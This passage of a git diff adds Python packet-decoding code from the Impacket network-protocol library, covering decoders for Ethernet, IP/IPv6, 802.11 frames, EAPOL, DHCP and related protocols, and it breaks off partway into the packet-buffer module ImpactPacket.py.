self.__decoded_protocol = protocol + + def get_protocol(self, aprotocol): + protocol = self.__decoded_protocol + while protocol: + if protocol.__class__ == aprotocol: + break + protocol=protocol.child() + return protocol + + def __str__(self): + protocol = self.__decoded_protocol + i=0 + out='' + while protocol: + tabline=' '*i+'+-'+str(protocol.__class__) + out+="%s"%tabline+'\n' + protocol=protocol.child() + i+=1 + return out + +class EthDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + e = ImpactPacket.Ethernet(aBuffer) + self.set_decoded_protocol( e ) + off = e.get_header_size() + if e.get_ether_type() == ImpactPacket.IP.ethertype: + self.ip_decoder = IPDecoder() + packet = self.ip_decoder.decode(aBuffer[off:]) + elif e.get_ether_type() == IP6.IP6.ethertype: + self.ip6_decoder = IP6Decoder() + packet = self.ip6_decoder.decode(aBuffer[off:]) + elif e.get_ether_type() == ImpactPacket.ARP.ethertype: + self.arp_decoder = ARPDecoder() + packet = self.arp_decoder.decode(aBuffer[off:]) + elif e.get_ether_type() == eap.DOT1X_AUTHENTICATION: + self.eapol_decoder = EAPOLDecoder() + packet = self.eapol_decoder.decode(aBuffer[off:]) + # LLC ? + elif e.get_ether_type() < 1500: + self.llc_decoder = LLCDecoder() + packet = self.llc_decoder.decode(aBuffer[off:]) + else: + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(aBuffer[off:]) + + e.contains(packet) + return e + +# Linux "cooked" capture encapsulation. +# Used, for instance, for packets returned by the "any" interface. +class LinuxSLLDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + e = ImpactPacket.LinuxSLL(aBuffer) + self.set_decoded_protocol( e ) + off = 16 + if e.get_ether_type() == ImpactPacket.IP.ethertype: + self.ip_decoder = IPDecoder() + packet = self.ip_decoder.decode(aBuffer[off:]) + elif e.get_ether_type() == ImpactPacket.ARP.ethertype: + self.arp_decoder = ARPDecoder() + packet = self.arp_decoder.decode(aBuffer[off:]) + elif e.get_ether_type() == eap.DOT1X_AUTHENTICATION: + self.eapol_decoder = EAPOLDecoder() + packet = self.eapol_decoder.decode(aBuffer[off:]) + else: + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(aBuffer[off:]) + + e.contains(packet) + return e + +class IPDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + i = ImpactPacket.IP(aBuffer) + self.set_decoded_protocol ( i ) + off = i.get_header_size() + end = i.get_ip_len() + # If ip_len == 0 we might be facing TCP segmentation offload, let's calculate the right len + if end == 0: + LOG.warning('IP len reported as 0, most probably because of TCP segmentation offload. Attempting to fix its size') + i.set_ip_len(len(aBuffer)) + end = i.get_ip_len() + + if i.get_ip_p() == ImpactPacket.UDP.protocol: + self.udp_decoder = UDPDecoder() + packet = self.udp_decoder.decode(aBuffer[off:end]) + elif i.get_ip_p() == ImpactPacket.TCP.protocol: + self.tcp_decoder = TCPDecoder() + packet = self.tcp_decoder.decode(aBuffer[off:end]) + elif i.get_ip_p() == ImpactPacket.ICMP.protocol: + self.icmp_decoder = ICMPDecoder() + packet = self.icmp_decoder.decode(aBuffer[off:end]) + elif i.get_ip_p() == ImpactPacket.IGMP.protocol: + self.igmp_decoder = IGMPDecoder() + packet = self.igmp_decoder.decode(aBuffer[off:end]) + else: + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(aBuffer[off:end]) + i.contains(packet) + return i + +class IP6MultiProtocolDecoder(Decoder): + def __init__(self, a_protocol_id): + self.protocol_id = a_protocol_id + + def decode(self, buffer): + if self.protocol_id == ImpactPacket.UDP.protocol: + self.udp_decoder = UDPDecoder() + packet = self.udp_decoder.decode(buffer) + elif self.protocol_id == ImpactPacket.TCP.protocol: + self.tcp_decoder = TCPDecoder() + packet = self.tcp_decoder.decode(buffer) + elif self.protocol_id == ICMP6.ICMP6.protocol: + self.icmp6_decoder = ICMP6Decoder() + packet = self.icmp6_decoder.decode(buffer) + else: + # IPv6 Extension Headers lookup + extension_headers = IP6_Extension_Headers.IP6_Extension_Header.get_extension_headers() + if buffer and self.protocol_id in extension_headers: + extension_header_decoder_class = extension_headers[self.protocol_id].get_decoder() + self.extension_header_decoder = extension_header_decoder_class() + packet = self.extension_header_decoder.decode(buffer) + else: + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(buffer) + + return packet + +class IP6Decoder(Decoder): + def __init__(self): + pass + + def decode(self, buffer): + ip6_packet = IP6.IP6(buffer) + self.set_decoded_protocol(ip6_packet) + start_pos = ip6_packet.get_header_size() + end_pos = ip6_packet.get_payload_length() + start_pos + contained_protocol = ip6_packet.get_next_header() + + multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol) + child_packet = multi_protocol_decoder.decode(buffer[start_pos:end_pos]) + + ip6_packet.contains(child_packet) + return ip6_packet + +class HopByHopDecoder(Decoder): + def __init__(self): + pass + + def decode(self, buffer): + hop_by_hop = IP6_Extension_Headers.Hop_By_Hop(buffer) + self.set_decoded_protocol(hop_by_hop) + start_pos = hop_by_hop.get_header_size() + contained_protocol = hop_by_hop.get_next_header() + + multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol) + child_packet = multi_protocol_decoder.decode(buffer[start_pos:]) + + hop_by_hop.contains(child_packet) + return hop_by_hop + +class DestinationOptionsDecoder(Decoder): + def __init__(self): + pass + + def decode(self, buffer): + destination_options = IP6_Extension_Headers.Destination_Options(buffer) + self.set_decoded_protocol(destination_options) + start_pos = destination_options.get_header_size() + contained_protocol = destination_options.get_next_header() + + multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol) + child_packet = multi_protocol_decoder.decode(buffer[start_pos:]) + + destination_options.contains(child_packet) + return destination_options + +class RoutingOptionsDecoder(Decoder): + def __init__(self): + pass + + def decode(self, buffer): + routing_options = IP6_Extension_Headers.Routing_Options(buffer) + self.set_decoded_protocol(routing_options) + start_pos = routing_options.get_header_size() + contained_protocol = routing_options.get_next_header() + + multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol) + child_packet = multi_protocol_decoder.decode(buffer[start_pos:]) + + routing_options.contains(child_packet) + return routing_options + +class ICMP6Decoder(Decoder): + def __init__(self): + pass + + def decode(self, buffer): + icmp6_packet = ICMP6.ICMP6(buffer) + self.set_decoded_protocol(icmp6_packet) + start_pos = icmp6_packet.get_header_size() + + self.data_decoder = DataDecoder() + child_packet = self.data_decoder.decode(buffer[start_pos:]) + icmp6_packet.contains(child_packet) + return icmp6_packet + + +class ARPDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + arp = ImpactPacket.ARP(aBuffer) + self.set_decoded_protocol( arp ) + off = arp.get_header_size() + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(aBuffer[off:]) + arp.contains(packet) + return arp + +class UDPDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + u = ImpactPacket.UDP(aBuffer) + self.set_decoded_protocol( u ) + off = u.get_header_size() + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(aBuffer[off:]) + u.contains(packet) + return u + +class TCPDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + t = ImpactPacket.TCP(aBuffer) + self.set_decoded_protocol( t ) + off = t.get_header_size() + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(aBuffer[off:]) + t.contains(packet) + return t + +class IGMPDecoder(Decoder): + def __init__(self): + pass + def decode(self, aBuffer): + ig = ImpactPacket.IGMP(aBuffer) + off = ig.get_header_size() + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(aBuffer[off:]) + ig.contains(packet) + return ig + + +class IPDecoderForICMP(Decoder): + """This class was added to parse the IP header of ICMP unreachables packets + If you use the "standard" IPDecoder, it might crash (see bug #4870) ImpactPacket.py + because the TCP header inside the IP header is incomplete""" + def __init__(self): + pass + + def decode(self, aBuffer): + i = ImpactPacket.IP(aBuffer) + self.set_decoded_protocol( i ) + off = i.get_header_size() + if i.get_ip_p() == ImpactPacket.UDP.protocol: + self.udp_decoder = UDPDecoder() + packet = self.udp_decoder.decode(aBuffer[off:]) + else: + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(aBuffer[off:]) + i.contains(packet) + return i + +class ICMPDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + ic = ImpactPacket.ICMP(aBuffer) + self.set_decoded_protocol( ic ) + off = ic.get_header_size() + if ic.get_icmp_type() == ImpactPacket.ICMP.ICMP_UNREACH: + self.ip_decoder = IPDecoderForICMP() + packet = self.ip_decoder.decode(aBuffer[off:]) + else: + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(aBuffer[off:]) + ic.contains(packet) + return ic + +class DataDecoder(Decoder): + def decode(self, aBuffer): + d = ImpactPacket.Data(aBuffer) + self.set_decoded_protocol( d ) + return d + +class BaseDot11Decoder(Decoder): + def __init__(self, key_manager=None): + self.set_key_manager(key_manager) + + def set_key_manager(self, key_manager): + self.key_manager = key_manager + + def find_key(self, bssid): + try: + key = self.key_manager.get_key(bssid) + except: + return False + return key + +class RadioTapDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + rt = dot11.RadioTap(aBuffer) + self.set_decoded_protocol( rt ) + + self.do11_decoder = Dot11Decoder() + self.do11_decoder.set_key_manager(self.key_manager) + flags=rt.get_flags() + if flags is not None: + fcs=flags&dot11.RadioTap.RTF_FLAGS.PROPERTY_FCS_AT_END + self.do11_decoder.FCS_at_end(fcs) + + packet = self.do11_decoder.decode(rt.get_body_as_string()) + + rt.contains(packet) + return rt + +class Dot11Decoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + self.__FCS_at_end = True + + def FCS_at_end(self, fcs_at_end=True): + self.__FCS_at_end=not not fcs_at_end + + def decode(self, aBuffer): + d = dot11.Dot11(aBuffer, self.__FCS_at_end) + self.set_decoded_protocol( d ) + + type = d.get_type() + if type == dot11.Dot11Types.DOT11_TYPE_CONTROL: + dot11_control_decoder = Dot11ControlDecoder() + packet = dot11_control_decoder.decode(d.body_string) + elif type == dot11.Dot11Types.DOT11_TYPE_DATA: + dot11_data_decoder = Dot11DataDecoder(self.key_manager) + + dot11_data_decoder.set_dot11_hdr(d) + + packet = dot11_data_decoder.decode(d.body_string) + elif type == dot11.Dot11Types.DOT11_TYPE_MANAGEMENT: + dot11_management_decoder = Dot11ManagementDecoder() + dot11_management_decoder.set_subtype(d.get_subtype()) + packet = dot11_management_decoder.decode(d.body_string) + else: + data_decoder = DataDecoder() + packet = data_decoder.decode(d.body_string) + + d.contains(packet) + return d + +class Dot11ControlDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + self.__FCS_at_end = True + + def FCS_at_end(self, fcs_at_end=True): + self.__FCS_at_end=not not fcs_at_end + + def decode(self, aBuffer): + d = dot11.Dot11(aBuffer, self.__FCS_at_end) + self.set_decoded_protocol(d) + + self.subtype = d.get_subtype() + if self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND: + self.ctrl_cts_decoder = Dot11ControlFrameCTSDecoder() + packet = self.ctrl_cts_decoder.decode(d.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT: + self.ctrl_ack_decoder = Dot11ControlFrameACKDecoder() + packet = self.ctrl_ack_decoder.decode(d.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND: + self.ctrl_rts_decoder = Dot11ControlFrameRTSDecoder() + packet = self.ctrl_rts_decoder.decode(d.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL: + self.ctrl_pspoll_decoder = Dot11ControlFramePSPollDecoder() + packet = self.ctrl_pspoll_decoder.decode(d.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END: + self.ctrl_cfend_decoder = Dot11ControlFrameCFEndDecoder() + packet = self.ctrl_cfend_decoder.decode(d.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK: + self.ctrl_cfendcfack_decoder = Dot11ControlFrameCFEndCFACKDecoder() + packet = self.ctrl_cfendcfack_decoder.decode(d.body_string) + else: + data_decoder = DataDecoder() + packet = data_decoder.decode(d.body_string) + + d.contains(packet) + return d + +class Dot11ControlFrameCTSDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ControlFrameCTS(aBuffer) + self.set_decoded_protocol(p) + return p + +class Dot11ControlFrameACKDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ControlFrameACK(aBuffer) + self.set_decoded_protocol(p) + return p + +class Dot11ControlFrameRTSDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ControlFrameRTS(aBuffer) + self.set_decoded_protocol(p) + return p + +class Dot11ControlFramePSPollDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ControlFramePSPoll(aBuffer) + self.set_decoded_protocol(p) + return p + +class Dot11ControlFrameCFEndDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ControlFrameCFEnd(aBuffer) + self.set_decoded_protocol(p) + return p +class Dot11ControlFrameCFEndCFACKDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ControlFrameCFEndCFACK(aBuffer) + self.set_decoded_protocol(p) + return p + +class Dot11DataDecoder(BaseDot11Decoder): + def __init__(self, key_manager): + BaseDot11Decoder.__init__(self, key_manager) + + def set_dot11_hdr(self, dot11_obj): + self.dot11 = dot11_obj + + def decode(self, aBuffer): + if self.dot11.get_fromDS() and self.dot11.get_toDS(): + if self.dot11.is_QoS_frame(): + p = dot11.Dot11DataAddr4QoSFrame(aBuffer) + else: + p = dot11.Dot11DataAddr4Frame(aBuffer) + elif self.dot11.is_QoS_frame(): + p = dot11.Dot11DataQoSFrame(aBuffer) + else: + p = dot11.Dot11DataFrame(aBuffer) + self.set_decoded_protocol( p ) + + if not self.dot11.get_protectedFrame(): + self.llc_decoder = LLCDecoder() + packet = self.llc_decoder.decode(p.body_string) + else: + if not self.dot11.get_fromDS() and self.dot11.get_toDS(): + bssid = p.get_address1() + elif self.dot11.get_fromDS() and not self.dot11.get_toDS(): + bssid = p.get_address2() + elif not self.dot11.get_fromDS() and not self.dot11.get_toDS(): + bssid = p.get_address3() + else: + # WDS, this is the RA + bssid = p.get_address1() + + wep_decoder = Dot11WEPDecoder(self.key_manager) + wep_decoder.set_bssid(bssid) + packet = wep_decoder.decode(p.body_string) + if packet is None: + wpa_decoder = Dot11WPADecoder() + packet = wpa_decoder.decode(p.body_string) + if packet is None: + wpa2_decoder = Dot11WPA2Decoder() + packet = wpa2_decoder.decode(p.body_string) + if packet is None: + data_decoder = DataDecoder() + packet = data_decoder.decode(p.body_string) + + p.contains(packet) + return p + +class Dot11WEPDecoder(BaseDot11Decoder): + def __init__(self, key_manager): + BaseDot11Decoder.__init__(self, key_manager) + self.bssid = None + + def set_bssid(self, bssid): + self.bssid = bssid + + def decode(self, aBuffer): + wep = dot11.Dot11WEP(aBuffer) + self.set_decoded_protocol( wep ) + + if wep.is_WEP() is False: + return None + + key = self.find_key(self.bssid) + if key: + decoded_string=wep.get_decrypted_data(key) + + wep_data = Dot11WEPDataDecoder() + packet = wep_data.decode(decoded_string) + else: + data_decoder = DataDecoder() + packet = data_decoder.decode(wep.body_string) + + wep.contains(packet) + + return wep + +class Dot11WEPDataDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + wep_data = dot11.Dot11WEPData(aBuffer) + + if not wep_data.check_icv(): + # TODO: Do something when the icv is not correct + pass + + self.set_decoded_protocol( wep_data ) + + llc_decoder = LLCDecoder() + packet = llc_decoder.decode(wep_data.body_string) + + wep_data.contains(packet) + + return wep_data + + +class Dot11WPADecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer, key=None): + wpa = dot11.Dot11WPA(aBuffer) + self.set_decoded_protocol( wpa ) + + if wpa.is_WPA() is False: + return None + + if key: + decoded_string=wpa.get_decrypted_data() + + wpa_data = Dot11WPADataDecoder() + packet = wpa_data.decode(decoded_string) + else: + data_decoder = DataDecoder() + packet = data_decoder.decode(wpa.body_string) + + wpa.contains(packet) + + return wpa + +class Dot11WPADataDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + wpa_data = dot11.Dot11WPAData(aBuffer) + self.set_decoded_protocol( wpa_data ) + + llc_decoder = LLCDecoder() + packet = self.llc_decoder.decode(wpa_data.body_string) + + wpa_data.contains(packet) + + return wpa_data + +class Dot11WPA2Decoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer, key=None): + wpa2 = dot11.Dot11WPA2(aBuffer) + self.set_decoded_protocol( wpa2 ) + + if wpa2.is_WPA2() is False: + return None + + if key: + decoded_string=wpa2.get_decrypted_data() + + wpa2_data = Dot11WPA2DataDecoder() + packet = wpa2_data.decode(decoded_string) + else: + data_decoder = DataDecoder() + packet = data_decoder.decode(wpa2.body_string) + + wpa2.contains(packet) + + return wpa2 + +class Dot11WPA2DataDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + wpa2_data = dot11.Dot11WPA2Data(aBuffer) + self.set_decoded_protocol( wpa2_data ) + + llc_decoder = LLCDecoder() + packet = self.llc_decoder.decode(wpa2_data.body_string) + + wpa2_data.contains(packet) + + return wpa2_data + +class LLCDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + d = dot11.LLC(aBuffer) + self.set_decoded_protocol( d ) + + if d.get_DSAP()==dot11.SAPTypes.SNAP: + if d.get_SSAP()==dot11.SAPTypes.SNAP: + if d.get_control()==dot11.LLC.DLC_UNNUMBERED_FRAMES: + snap_decoder = SNAPDecoder() + packet = snap_decoder.decode(d.body_string) + d.contains(packet) + return d + + # Only SNAP is implemented + data_decoder = DataDecoder() + packet = data_decoder.decode(d.body_string) + d.contains(packet) + return d + +class SNAPDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + s = dot11.SNAP(aBuffer) + self.set_decoded_protocol( s ) + if s.get_OUI()==CDP.OUI and s.get_protoID()==CDP.Type: + dec = CDPDecoder() + packet = dec.decode(s.body_string) + elif s.get_OUI()!=0x000000: + # We don't know how to handle other than OUI=0x000000 (EtherType) + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(s.body_string) + elif s.get_protoID() == ImpactPacket.IP.ethertype: + self.ip_decoder = IPDecoder() + packet = self.ip_decoder.decode(s.body_string) + elif s.get_protoID() == ImpactPacket.ARP.ethertype: + self.arp_decoder = ARPDecoder() + packet = self.arp_decoder.decode(s.body_string) + elif s.get_protoID() == eap.DOT1X_AUTHENTICATION: + self.eapol_decoder = EAPOLDecoder() + packet = self.eapol_decoder.decode(s.body_string) + else: + self.data_decoder = DataDecoder() + packet = self.data_decoder.decode(s.body_string) + + s.contains(packet) + return s + +class CDPDecoder(Decoder): + + def __init__(self): + pass + + def decode(self, aBuffer): + s = CDP(aBuffer) + self.set_decoded_protocol( s ) + return s + +class Dot11ManagementDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + self.subtype = None + + def set_subtype(self, subtype): + self.subtype=subtype + + def decode(self, aBuffer): + p = dot11.Dot11ManagementFrame(aBuffer) + self.set_decoded_protocol( p ) + + if self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_BEACON: + self.mgt_beacon_decoder = Dot11ManagementBeaconDecoder() + packet = self.mgt_beacon_decoder.decode(p.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_PROBE_REQUEST: + self.mgt_probe_request_decoder = Dot11ManagementProbeRequestDecoder() + packet = self.mgt_probe_request_decoder.decode(p.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_PROBE_RESPONSE: + self.mgt_probe_response_decoder = Dot11ManagementProbeResponseDecoder() + packet = self.mgt_probe_response_decoder.decode(p.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DEAUTHENTICATION: + self.mgt_deauthentication_decoder = Dot11ManagementDeauthenticationDecoder() + packet = self.mgt_deauthentication_decoder.decode(p.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_AUTHENTICATION: + self.mgt_Authentication_decoder = Dot11ManagementAuthenticationDecoder() + packet = self.mgt_Authentication_decoder.decode(p.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DISASSOCIATION: + self.mgt_disassociation_decoder = Dot11ManagementDisassociationDecoder() + packet = self.mgt_disassociation_decoder.decode(p.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_REQUEST: + self.mgt_association_request_decoder = Dot11ManagementAssociationRequestDecoder() + packet = self.mgt_association_request_decoder.decode(p.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_RESPONSE: + self.mgt_association_response_decoder = Dot11ManagementAssociationResponseDecoder() + packet = self.mgt_association_response_decoder.decode(p.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_REQUEST: + self.mgt_reassociation_request_decoder = Dot11ManagementReassociationRequestDecoder() + packet = self.mgt_reassociation_request_decoder.decode(p.body_string) + elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_RESPONSE: + self.mgt_reassociation_response_decoder = Dot11ManagementReassociationResponseDecoder() + packet = self.mgt_reassociation_response_decoder.decode(p.body_string) + else: + data_decoder = DataDecoder() + packet = data_decoder.decode(p.body_string) + + p.contains(packet) + return p + +class Dot11ManagementBeaconDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementBeacon(aBuffer) + self.set_decoded_protocol( p ) + + return p + +class Dot11ManagementProbeRequestDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementProbeRequest(aBuffer) + self.set_decoded_protocol( p ) + + return p + +class Dot11ManagementProbeResponseDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementProbeResponse(aBuffer) + self.set_decoded_protocol( p ) + + return p + +class Dot11ManagementDeauthenticationDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementDeauthentication(aBuffer) + self.set_decoded_protocol( p ) + + return p + +class Dot11ManagementAuthenticationDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementAuthentication(aBuffer) + self.set_decoded_protocol(p) + + return p + +class Dot11ManagementDisassociationDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementDisassociation(aBuffer) + self.set_decoded_protocol(p) + + return p + +class Dot11ManagementAssociationRequestDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementAssociationRequest(aBuffer) + self.set_decoded_protocol(p) + + return p + +class Dot11ManagementAssociationResponseDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementAssociationResponse(aBuffer) + self.set_decoded_protocol(p) + + return p + +class Dot11ManagementReassociationRequestDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementReassociationRequest(aBuffer) + self.set_decoded_protocol(p) + + return p + +class Dot11ManagementReassociationResponseDecoder(BaseDot11Decoder): + def __init__(self): + BaseDot11Decoder.__init__(self) + + def decode(self, aBuffer): + p = dot11.Dot11ManagementReassociationResponse(aBuffer) + self.set_decoded_protocol(p) + + return p + +class BaseDecoder(Decoder): + + def decode(self, buff): + + packet = self.klass(buff) + self.set_decoded_protocol(packet) + cd = self.child_decoders.get(self.child_key(packet), DataDecoder()) + packet.contains(cd.decode(packet.get_body_as_string())) + return packet + +class SimpleConfigDecoder(BaseDecoder): + + child_decoders = {} + klass = wps.SimpleConfig + child_key = lambda s,p: None + + def decode(self, buff): + sc = BaseDecoder.decode(self, buff) + ary = array.array('B', sc.child().get_packet()) + sc.unlink_child() + tlv = wps.SimpleConfig.build_tlv_container() + tlv.from_ary(ary) + sc.contains(tlv) + + return sc + +class EAPExpandedDecoder(BaseDecoder): + child_decoders = { + (eap.EAPExpanded.WFA_SMI, eap.EAPExpanded.SIMPLE_CONFIG): SimpleConfigDecoder(), + } + klass = eap.EAPExpanded + child_key = lambda s,p: (p.get_vendor_id(), p.get_vendor_type()) + +class EAPRDecoder(BaseDecoder): + child_decoders = { + eap.EAPR.EXPANDED:EAPExpandedDecoder() + } + klass = eap.EAPR + child_key = lambda s, p: p.get_type() + +class EAPDecoder(BaseDecoder): + child_decoders = { + eap.EAP.REQUEST: EAPRDecoder(), + eap.EAP.RESPONSE: EAPRDecoder(), + } + klass = eap.EAP + child_key = lambda s, p: p.get_code() + +class EAPOLDecoder(BaseDecoder): + child_decoders = { + eap.EAPOL.EAP_PACKET: EAPDecoder() + } + klass = eap.EAPOL + child_key = lambda s, p: p.get_packet_type() + +class BootpDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + d = dhcp.BootpPacket(aBuffer) + self.set_decoded_protocol( d ) + off = len(d.getData()) + if dhcp.DhcpPacket(aBuffer[off:])['cookie'] == dhcp.DhcpPacket.MAGIC_NUMBER: + self.data_decoder = DHCPDecoder() + packet = self.data_decoder.decode(aBuffer[off:]) + d.contains(packet) + return d + +class DHCPDecoder(Decoder): + def __init__(self): + pass + + def decode(self, aBuffer): + d = dhcp.DhcpPacket(aBuffer) + self.set_decoded_protocol( d ) + return d diff --git a/impacket/ImpactPacket.py b/impacket/ImpactPacket.py new file mode 100644 index 0000000..a20ca15 --- /dev/null +++ b/impacket/ImpactPacket.py @@ -0,0 +1,2144 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Network packet codecs basic building blocks. +# Low-level packet codecs for various Internet protocols. +# +# Author: +# Javier Burroni (javier) +# Bruce Leidl (brl) +# Javier Kohen (jkohen) +# + +from __future__ import division +from __future__ import print_function +import array +import struct +import socket +import string +import sys +from binascii import hexlify +from functools import reduce + +# Alias function for compatibility with both Python <3.2 `tostring` and `fromstring` methods, and +# Python >=3.2 `tobytes` and `tostring` +if sys.version_info[0] >= 3 and sys.version_info[1] >= 2: + array_tobytes = lambda array_object: array_object.tobytes() + array_frombytes = lambda array_object, bytes: array_object.frombytes(bytes) +else: + array_tobytes = lambda array_object: array_object.tostring() + array_frombytes = lambda array_object, bytes: array_object.fromstring(bytes) + + +"""Classes to build network packets programmatically. + +Each protocol layer is represented by an object, and these objects are +hierarchically structured to form a packet. This list is traversable +in both directions: from parent to child and vice versa. + +All objects can be turned back into a raw buffer ready to be sent over +the wire (see method get_packet). +""" + +class ImpactPacketException(Exception): + def __init__(self, value): + self.value = value + def __str__(self): + return repr(self.value) + +class PacketBuffer(object): + """Implement the basic operations utilized to operate on a + packet's raw buffer. All the packet classes derive from this one. + + The byte, word, long and ip_address getters and setters accept + negative indexes, having these the a similar effect as in a + regular Python sequence slice. + """ + + def __init__(self, length = None): + "If 'length' is specified the buffer is created with an initial size" + if length: + self.__bytes = array.array('B', b'\0' * length) + else: + self.__bytes = array.array('B') + + def set_bytes_from_string(self, data): + "Sets the value of the packet buffer from the string 'data'" + self.__bytes = array.array('B', data) + + def get_buffer_as_string(self): + "Returns the packet buffer as a string object" + return array_tobytes(self.__bytes) + + def get_bytes(self): + "Returns the packet buffer as an array" + return self.__bytes + + def set_bytes(self, bytes): + "Set the packet buffer from an array" + # Make a copy to be safe + self.__bytes = array.array('B', bytes.tolist()) + + def set_byte(self, index, value): + "Set byte at 'index' to 'value'" + index = self.__validate_index(index, 1) + self.__bytes[index] = value + + def get_byte(self, index): + "Return byte at 'index'" + index = self.__validate_index(index, 1) + return self.__bytes[index] + + def set_word(self, index, value, order = '!'): + "Set 2-byte word at 'index' to 'value'. See struct module's documentation to understand the meaning of 'order'." + index = self.__validate_index(index, 2) + ary = array.array("B", struct.pack(order + 'H', value)) + if -2 == index: + self.__bytes[index:] = ary + else: + self.__bytes[index:index+2] = ary + + def get_word(self, index, order = '!'): + "Return 2-byte word at 'index'. See struct module's documentation to understand the meaning of 'order'." + index = self.__validate_index(index, 2) + if -2 == index: + bytes = self.__bytes[index:] + else: + bytes = self.__bytes[index:index+2] + (value,) = struct.unpack(order + 'H', array_tobytes(bytes)) + return value + + def set_long(self, index, 